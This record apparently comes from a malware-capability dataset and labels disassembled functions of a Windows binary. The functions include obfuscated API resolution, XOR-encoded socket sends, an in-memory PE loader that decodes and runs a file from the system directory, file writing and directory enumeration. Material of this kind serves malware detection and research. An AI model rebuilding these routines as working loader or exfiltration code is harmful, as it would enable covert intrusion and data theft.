joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401140
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, ecx
push str.TerminateThread
push str.KERNEL32.dll
mov dword [ebx], 0x4c9740
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x1c], eax
mov al, 0x65
mov byte [esp + 0x34], al
mov byte [esp + 0x3a], al
lea eax, [esp + 0x30]
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x73
mov byte [esp + 0x3d], 0x48
mov byte [esp + 0x3e], 0x61
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x64
mov byte [esp + 0x41], cl
mov byte [esp + 0x43], 0
call esi
push eax
call edi
push str.waveOutClose
push str.WINMM.dll
mov dword [esp + 0x34], eax
call esi
push eax
call edi
push str.waveInStop
push str.WINMM.dll
mov dword [esp + 0x30], eax
call esi
push eax
call edi
push str.waveInReset
push str.WINMM.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push str.waveInUnprepareHeader
push str.WINMM.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.waveInClose
push str.WINMM.dll
mov ebp, eax
call esi
push eax
call edi
push str.waveOutReset
push str.WINMM.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.waveOutUnprepareHeader
push str.WINMM.dll
mov dword [esp + 0x2c], eax
call esi
push eax
call edi
mov edi, eax
mov al, byte [ebx + 0x44]
test al, al
mov dword [esp + 0x20], edi
je 0x401288
mov ecx, dword [ebx + 0x18]
push ecx
call dword [esp + 0x14]
mov edx, dword [ebx + 0x18]
push edx
call dword [esp + 0x18]
lea esi, [ebx + 0x30]
mov edi, 2
mov eax, dword [esi]
mov ecx, dword [ebx + 0x18]
push 0x20
push eax
push ecx
call ebp
add esi, 4
dec edi
jne 0x401261
mov edx, dword [ebx + 0x18]
push edx
call dword [esp + 0x1c]
mov eax, dword [ebx + 0x2c]
push 0xffffffffffffffff
push eax
call dword [esp + 0x24]
mov edi, dword [esp + 0x20]
mov al, byte [ebx + 0x45]
test al, al
je 0x4012b8
mov ecx, dword [ebx + 0x40]
push ecx
call dword [esp + 0x28]
lea esi, [ebx + 0x30]
mov ebp, 2
mov edx, dword [esi]
mov eax, dword [ebx + 0x40]
push 0x20
push edx
push eax
call edi
add esi, 4
dec ebp
jne 0x40129f
mov ecx, dword [ebx + 0x40]
push ecx
call dword [esp + 0x2c]
lea esi, [ebx + 0x30]
mov edi, 2
mov edx, dword [esi - 0x28]
push edx
call fcn.004a2b08
mov eax, dword [esi]
push eax
call fcn.004a2b08
mov ecx, dword [esi - 0x20]
push ecx
call fcn.004a2b08
mov edx, dword [esi + 8]
push edx
call fcn.004a2b08
add esp, 0x10
add esi, 4
dec edi
jne 0x4012c0
mov eax, dword [ebx + 0x24]
mov esi, dword [esp + 0x2c]
push eax
call esi
mov ecx, dword [ebx + 0x28]
push ecx
call esi
mov edx, dword [ebx + 0x2c]
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x401f8a
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x4a8ff8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.0040f1f0
lea ecx, [esp + 0x18]
push 1
push ecx
mov ecx, esi
mov dword [esp + 0x18], 0
mov dword [esi], 0x4c9758
mov dword [esi + 0x114], 0
mov byte [esp + 0x20], 0x74
call fcn.0040f340
mov ecx, esi
call fcn.0040f3b0
push 0
push 0
push esi
push 0x402050
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x401fe8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4040c0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x4a903a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.00401b80
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a0], 0
call fcn.00401b80
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a0], 1
call fcn.00401b80
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a0], 2
call fcn.00401b80
lea eax, [esp + 8]
mov dword [esi], 0x4c97b0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x68
mov byte [esp + 5], 0x78
mov dx, word [esp + 4]
lea ecx, [esi + 0xb0]
mov dword [esi + 0xac], eax
mov al, 0x20
mov word [ecx], dx
mov byte [esi + 0xb3], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x198]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x404ab0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x404ad0
mov dl, byte [ecx + eax]
xor dl, 0xfc
add dl, 0x31
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x404abf
pop esi
ret

Function at 0x404ae0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
mov ebp, ecx
push edi
call fcn.00404ab0
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x404b56
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x404b35
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x404b12
cmp dword [esp + 0x1c], 0xf
je 0x404b8c
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x404b0a
test ebx, ebx
jle 0x404b80
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x404b77
inc esi
cmp esi, 0xf
jl 0x404b5c
cmp esi, 0xf
je 0x404b8c
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x404b8f
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x406370
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x406388
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x4063a1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x4063d8
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x4063d8
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.004064c0
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x406461
push eax
push ebx
call fcn.00406650
add esp, 8
push ebx
call fcn.004066d0
add esp, 4
test eax, eax
je 0x406491
push ebx
call fcn.00406590
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x4064a9
add eax, ebp
test eax, eax
je 0x406491
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x4064a2
push ebx
call fcn.00406880
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x4064c0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x406581
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x40652b
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x40655f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x40655f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x4064ee
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x406590
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x406649
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4065e7
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40662f
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + 0x50c514]
je 0x406601
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x40661c
test al, 0x40
je 0x406613
mov ecx, dword [ebx + 0x20]
jmp 0x40661a
test al, 0x80
je 0x40662f
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x40662f
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x4065b4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x406b80
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0x506
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
add dl, 0x56
test esi, esi
jbe 0x406bad
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x406ba1
pop esi
ret
Function at 0x406e70
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push ebx
push esi
mov ebx, ecx
lea esi, [eax + 4]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
inc edi
je 0x407055
push ebp
push edi
call fcn.0042cf07
mov ecx, edi
mov ebp, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
add esp, 4
mov ecx, edx
and ecx, 3
lea eax, [esp + 0x10]
push 0x104
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x50c53c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0042ce1e
add esp, 4
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop ebp
je 0x407049
push 0
push 0x80
push 3
push 0
push 0
lea ecx, [esp + 0x20]
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [ebx + 0x230], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [ebx + 0x238], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x238]
lea edx, [ebx + 0x23c]
push 0
push edx
mov edx, dword [ebx + 0x230]
push ecx
push eax
push edx
mov dword [ebx + 0x234], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebx + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebx + 0x238]
mov edx, dword [ebx + 0x234]
push 0x400
push ecx
push edx
call fcn.00406b80
mov eax, dword [ebx + 0x234]
push eax
call fcn.00406370
add esp, 0x10
mov dword [0x51dadc], eax
mov ecx, dword [ebx + 0x234]
push 0x8000
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x51dadc]
test eax, eax
je 0x407049
push str.Main
push eax
call fcn.004067f0
mov esi, eax
add esp, 8
test esi, esi
je 0x40702e
push 0xa7
mov ecx, ebx
call fcn.00406bb0
mov edx, dword [esp + 0x114]
mov eax, dword [0x50ccb8]
push edx
push eax
push 0x51e3c0
call esi
add esp, 0xc
mov ecx, dword [0x51dadc]
push ecx
call fcn.00406880
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
push 0xa5
mov ecx, ebx
call fcn.00406bb0
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
Function at 0x407070
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x11c
push ebx
push ebp
mov ebp, dword [esp + 0x128]
push esi
mov ebx, ecx
push edi
mov eax, dword [ebp]
mov ecx, dword [ebp + 4]
lea edx, [esp + 0x28]
push 0x104
push edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x50c53c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push 2
lea eax, [esp + 0x3c]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push 0
mov esi, eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x134]
lea edx, [esp + 0x14]
push 0
add eax, 0xfffffff8
push edx
add ebp, 8
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x1c], 0x70
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1d], ecx
add edx, edi
push 9
push eax
mov ecx, ebx
mov dword [esp + 0x29], edx
call fcn.0040f340
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret 8
Function at 0x4071d0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push ebx
xor eax, eax
push ebp
mov ebx, ecx
push esi
mov dword [esp + 0xc], eax
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], eax
push 0x104
push ecx
mov byte [esp + 0x20], al
mov byte [esp + 0x18], 0x70
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x50c53c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x407293
mov dword [ebx + 0x228], esi
mov dword [ebx + 0x22c], esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push 9
push ecx
mov ecx, ebx
call fcn.0040f340
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
Function at 0x408370
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c97d0
push 0x42d7e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.0042cf07
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x4084ca
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x40841b
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x40841b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4083f6
cmp al, 0x5c
je 0x4083f6
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x4083de
cmp byte [esi], 0
je 0x4083ff
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x408414
cmp al, 0x5c
je 0x408414
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x4083fc
cmp byte [esi], 0
je 0x40843a
jmp 0x408436
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x40843a
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x40843a
cmp al, 0x5c
jne 0x40843a
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x408490
cmp al, 0x5c
jne 0x408482
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x408475
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40847f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40847f
push edi
jmp 0x4084c2
and eax, 0x10
cmp al, 0x10
je 0x40847f
push edi
jmp 0x4084c2
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x408440
mov dword [ebp - 4], 0xffffffff
push edi
call fcn.0042ce1e
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.0042ce1e
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408a00
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x25c
push ebx
push esi
mov esi, dword [esp + 0x268]
push edi
mov ebx, ecx
mov edi, 0x2800
push esi
mov dword [esp + 0x24], ebx
mov dword [ebx + 0x124], 0
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov cl, byte [eax + esi - 1]
mov eax, 0x50c53c
cmp cl, 0x5c
jne 0x408a43
mov eax, 0x51dad4
mov cl, 0x73
push eax
mov byte [esp + 0x15], cl
mov byte [esp + 0x17], cl
mov cl, 0x2a
lea eax, [esp + 0x14]
mov byte [esp + 0x18], cl
mov byte [esp + 0x1a], cl
push esi
lea ecx, [esp + 0x16c]
mov dl, 0x25
push eax
push ecx
mov byte [esp + 0x20], dl
mov byte [esp + 0x22], dl
mov byte [esp + 0x25], 0x2e
mov byte [esp + 0x27], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 0x24]
lea eax, [esp + 0x164]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
jne 0x408abe
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, ebx
mov byte [esp + 0x17], 0x68
call fcn.0040f340
pop edi
pop esi
pop ebx
add esp, 0x25c
ret 4
push ebp
push 0x2800
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov ebp, 1
mov byte [ebx], 0x68
jmp 0x408adc
mov edi, dword [esp + 0x1c]
lea edx, [edi - 0x208]
cmp ebp, edx
jbe 0x408afc
add edi, 0x208
push 0x42
push edi
push ebx
mov dword [esp + 0x28], edi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov edi, 0x50c58c
lea esi, [esp + 0x54]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x408b2d
test al, al
je 0x408b29
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x408b2d
add esi, 2
add edi, 2
test al, al
jne 0x408b05
xor eax, eax
jmp 0x408b32
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x408bcc
mov edi, 0x50c588
lea esi, [esp + 0x54]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x408b6b
test al, al
je 0x408b67
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x408b6b
add esi, 2
add edi, 2
test al, al
jne 0x408b43
xor eax, eax
jmp 0x408b70
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x408bcc
mov al, byte [esp + 0x28]
lea ecx, [esp + 0x54]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x54]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebp, eax
and ecx, 3
inc ebp
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x44]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x48]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x3c]
add ebp, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x40]
mov dword [ebx + ebp + 4], eax
add ebp, 8
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408ad8
mov ecx, dword [esp + 0x24]
push ebp
push ebx
call fcn.0040f340
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x25c
ret 4